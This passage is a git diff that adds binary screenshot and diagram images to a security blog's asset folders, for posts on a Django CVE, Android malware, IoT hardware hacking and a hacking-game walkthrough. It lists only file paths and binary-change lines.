a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/10.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/10.png new file mode 100644 index 0000000..b0420f7 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/10.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/11.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/11.png new file mode 100644 index 0000000..81ec473 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/11.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/12.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/12.png new file mode 100644 index 0000000..8715c56 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/12.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/13.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/13.png new file mode 100644 index 0000000..6011163 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/13.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/14.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/14.png new file mode 100644 index 0000000..fc17ac6 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/14.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/15.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/15.png new file mode 100644 index 0000000..626e01e Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/15.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/16.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/16.png new file mode 100644 index 0000000..e5569fa Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/16.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/17.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/17.png new file mode 100644 index 0000000..626e01e Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/17.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/18.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/18.png new file mode 100644 index 0000000..cb98430 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/18.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/19.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/19.png new file mode 100644 index 0000000..3cf7c40 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/19.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/2.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/2.png new file mode 100644 index 0000000..cfd3ce1 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/2.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/3.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/3.png new file mode 100644 index 0000000..0ad459c Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/3.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/4.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/4.png new file mode 100644 index 0000000..131f410 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/4.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/5.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/5.png new file mode 100644 index 0000000..1135483 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/5.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/6.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/6.png new file mode 100644 index 0000000..d49baf0 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/6.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/7.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/7.png new file mode 100644 index 0000000..6089b63 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/7.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/8.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/8.png new file mode 100644 index 0000000..df4f0d8 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/8.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/9.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/9.png new file mode 100644 index 0000000..b5cb3a4 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/9.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221216162758.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221216162758.png new file mode 100644 index 0000000..51f985b Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221216162758.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217022516.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217022516.png new file mode 100644 index 0000000..57f3e64 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217022516.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217030925.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217030925.png new file mode 100644 index 0000000..ecd6c63 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221217030925.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218033513.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218033513.png new file mode 100644 index 0000000..30d82fb Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218033513.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218043457.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218043457.png new file mode 100644 index 0000000..383b680 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218043457.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152519.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152519.png new file mode 100644 index 0000000..5fa962f Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152519.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152848.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152848.png new file mode 100644 index 0000000..295fe69 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218152848.png differ diff --git a/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218153153.png b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218153153.png new file mode 100644 index 0000000..f63b914 Binary files /dev/null and b/docs/assets/2022-12-16-analyzing-django-orm-with-1-day/Pasted image 20221218153153.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/c2-diagram.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/c2-diagram.png new file mode 100644 index 0000000..9d565dd Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/c2-diagram.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-1.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-1.png new file mode 100644 index 0000000..acaa313 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-1.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-2.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-2.png new file mode 100644 index 0000000..864c8df Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-2.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-3.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-3.png new file mode 100644 index 0000000..a7ccdd4 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-3.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-4.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-4.png new file mode 100644 index 0000000..9ec813a Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-4.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-5.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-5.png new file mode 100644 index 0000000..febb0eb Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-5.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-6.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-6.png new file mode 100644 index 0000000..790a2a3 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-6.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-7.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-7.png new file mode 100644 index 0000000..d1db8c5 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-7.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-8.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-8.png new file mode 100644 index 0000000..058f1ec Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-8.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-9.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-9.png new file mode 100644 index 0000000..c17eecb Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-9.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-breifing.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-breifing.png new file mode 100644 index 0000000..1516218 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/chapter1-breifing.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/cia-sad-pag.jpg b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/cia-sad-pag.jpg new file mode 100644 index 0000000..32f72f4 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/cia-sad-pag.jpg differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/intro.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/intro.png new file mode 100644 index 0000000..0f3140d Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/intro.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/kali-linux.jpg b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/kali-linux.jpg new file mode 100644 index 0000000..ba25afc Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/kali-linux.jpg differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/nite-team-4.webp b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/nite-team-4.webp new file mode 100644 index 0000000..4ef12c7 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/nite-team-4.webp differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/sony-gop-hacked.webp b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/sony-gop-hacked.webp new file mode 100644 index 0000000..2862745 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/sony-gop-hacked.webp differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/stinger-os.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/stinger-os.png new file mode 100644 index 0000000..1d6a55e Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/stinger-os.png differ diff --git a/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/turbine-c2.png b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/turbine-c2.png new file mode 100644 index 0000000..f3cbad2 Binary files /dev/null and b/docs/assets/2023-03-19-nite-team-4-operation-castle-ivy-chapter-1/turbine-c2.png differ diff --git a/docs/assets/2023-07-03-cve-2023-36053/image.png b/docs/assets/2023-07-03-cve-2023-36053/image.png new file mode 100644 index 0000000..be76f80 Binary files /dev/null and b/docs/assets/2023-07-03-cve-2023-36053/image.png differ diff --git a/docs/assets/2023-07-31-bughunting-vulnerability-chaining/0.png b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/0.png new file mode 100755 index 0000000..d8649a9 Binary files /dev/null and b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/0.png differ diff --git a/docs/assets/2023-07-31-bughunting-vulnerability-chaining/1.png b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/1.png new file mode 100755 index 0000000..bbd20fb Binary files /dev/null and b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/1.png differ diff --git a/docs/assets/2023-07-31-bughunting-vulnerability-chaining/2.png b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/2.png new file mode 100755 index 0000000..dd1346e Binary files /dev/null and b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/2.png differ diff --git a/docs/assets/2023-07-31-bughunting-vulnerability-chaining/3.png b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/3.png new file mode 100755 index 0000000..0910077 Binary files /dev/null and b/docs/assets/2023-07-31-bughunting-vulnerability-chaining/3.png differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/0.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/0.png" new file mode 100644 index 0000000..f21b112 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/0.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/1.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/1.png" new file mode 100644 index 0000000..c92840c Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/1.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/10.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/10.png" new file mode 100644 index 0000000..19973fc Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/10.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/11.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/11.png" new file mode 100644 index 0000000..a6b7fc5 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/11.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/12.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/12.png" new file mode 100644 index 0000000..935057a Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/12.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/13.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/13.png" new file mode 100644 index 0000000..e3ebf25 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/13.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/14.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/14.png" new file mode 100644 index 0000000..410424a Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/14.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/15.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/15.png" new file mode 100644 index 0000000..c108eba Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/15.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/16.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/16.png" new file mode 100644 index 0000000..f0f5dc6 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/16.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/17.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/17.png" new file mode 100644 index 0000000..6049c3e Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/17.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/18.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/18.png" new file mode 100644 index 0000000..5834cbd Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/18.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/19.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/19.png" new file mode 100644 index 0000000..3a913c5 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/19.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/2.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/2.png" new file mode 100644 index 0000000..9d52b32 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/2.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/3.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/3.png" new file mode 100644 index 0000000..fad5f29 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/3.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/4.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/4.png" new file mode 100644 index 0000000..d8cf558 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/4.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/5.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/5.png" new file mode 100644 index 0000000..171c859 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/5.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/6.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/6.png" new file mode 100644 index 0000000..026c267 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/6.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/7.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/7.png" new file mode 100644 index 0000000..f69200f Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/7.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/8.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/8.png" new file mode 100644 index 0000000..5286ade Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/8.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/9.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/9.png" new file mode 100644 index 0000000..0d4121a Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/9.png" differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/010hexedit.jpg b/docs/assets/2024-02-06-IoT-TechBlog/010hexedit.jpg new file mode 100644 index 0000000..7289dc5 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/010hexedit.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/I2C.drawio.png b/docs/assets/2024-02-06-IoT-TechBlog/I2C.drawio.png new file mode 100644 index 0000000..4ac9857 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/I2C.drawio.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/Netis_UART.jpg b/docs/assets/2024-02-06-IoT-TechBlog/Netis_UART.jpg new file mode 100644 index 0000000..aaae202 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/Netis_UART.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/SPI.drawio.png b/docs/assets/2024-02-06-IoT-TechBlog/SPI.drawio.png new file mode 100644 index 0000000..20c06ec Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/SPI.drawio.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/UART.drawio.png b/docs/assets/2024-02-06-IoT-TechBlog/UART.drawio.png new file mode 100644 index 0000000..744a054 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/UART.drawio.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/UART_Pin.drawio.png b/docs/assets/2024-02-06-IoT-TechBlog/UART_Pin.drawio.png new file mode 100644 index 0000000..4c4205a Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/UART_Pin.drawio.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/bootloader_shell.png b/docs/assets/2024-02-06-IoT-TechBlog/bootloader_shell.png new file mode 100644 index 0000000..0ad301c Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/bootloader_shell.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/conductivity_mode.jpg b/docs/assets/2024-02-06-IoT-TechBlog/conductivity_mode.jpg new file mode 100644 index 0000000..5a5e214 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/conductivity_mode.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/dcv.jpg b/docs/assets/2024-02-06-IoT-TechBlog/dcv.jpg new file mode 100644 index 0000000..b603290 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/dcv.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/dd_extract.jpg b/docs/assets/2024-02-06-IoT-TechBlog/dd_extract.jpg new file mode 100644 index 0000000..418cb16 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/dd_extract.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/firmware_modify.jpg b/docs/assets/2024-02-06-IoT-TechBlog/firmware_modify.jpg new file mode 100644 index 0000000..0590907 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/firmware_modify.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/flashchip.jpg b/docs/assets/2024-02-06-IoT-TechBlog/flashchip.jpg new file mode 100644 index 0000000..7dd32a6 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/flashchip.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet.png b/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet.png new file mode 100644 index 0000000..4c33601 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet_table.png b/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet_table.png new file mode 100644 index 0000000..afa54f8 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet_table.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/inittab.png b/docs/assets/2024-02-06-IoT-TechBlog/inittab.png new file mode 100644 index 0000000..1c04236 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/inittab.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/ipTIME_N704VS_UART.jpg b/docs/assets/2024-02-06-IoT-TechBlog/ipTIME_N704VS_UART.jpg new file mode 100644 index 0000000..4efff15 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/ipTIME_N704VS_UART.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/ls_dev.png b/docs/assets/2024-02-06-IoT-TechBlog/ls_dev.png new file mode 100644 index 0000000..b20827c Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/ls_dev.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/lsusb.png b/docs/assets/2024-02-06-IoT-TechBlog/lsusb.png new file mode 100644 index 0000000..9c0a4cd Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/lsusb.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/mcu.jpg b/docs/assets/2024-02-06-IoT-TechBlog/mcu.jpg new file mode 100644 index 0000000..bb09de8 Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/mcu.jpg differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet.png b/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet.png new file mode 100644 index 0000000..83519cb Binary files /dev/null and b/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet.png differ diff --git a/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet_table.png b/docs/assets/2024-02-06-IoT-TechBlog/mcu_datasheet_table.png new file mode 100644 index 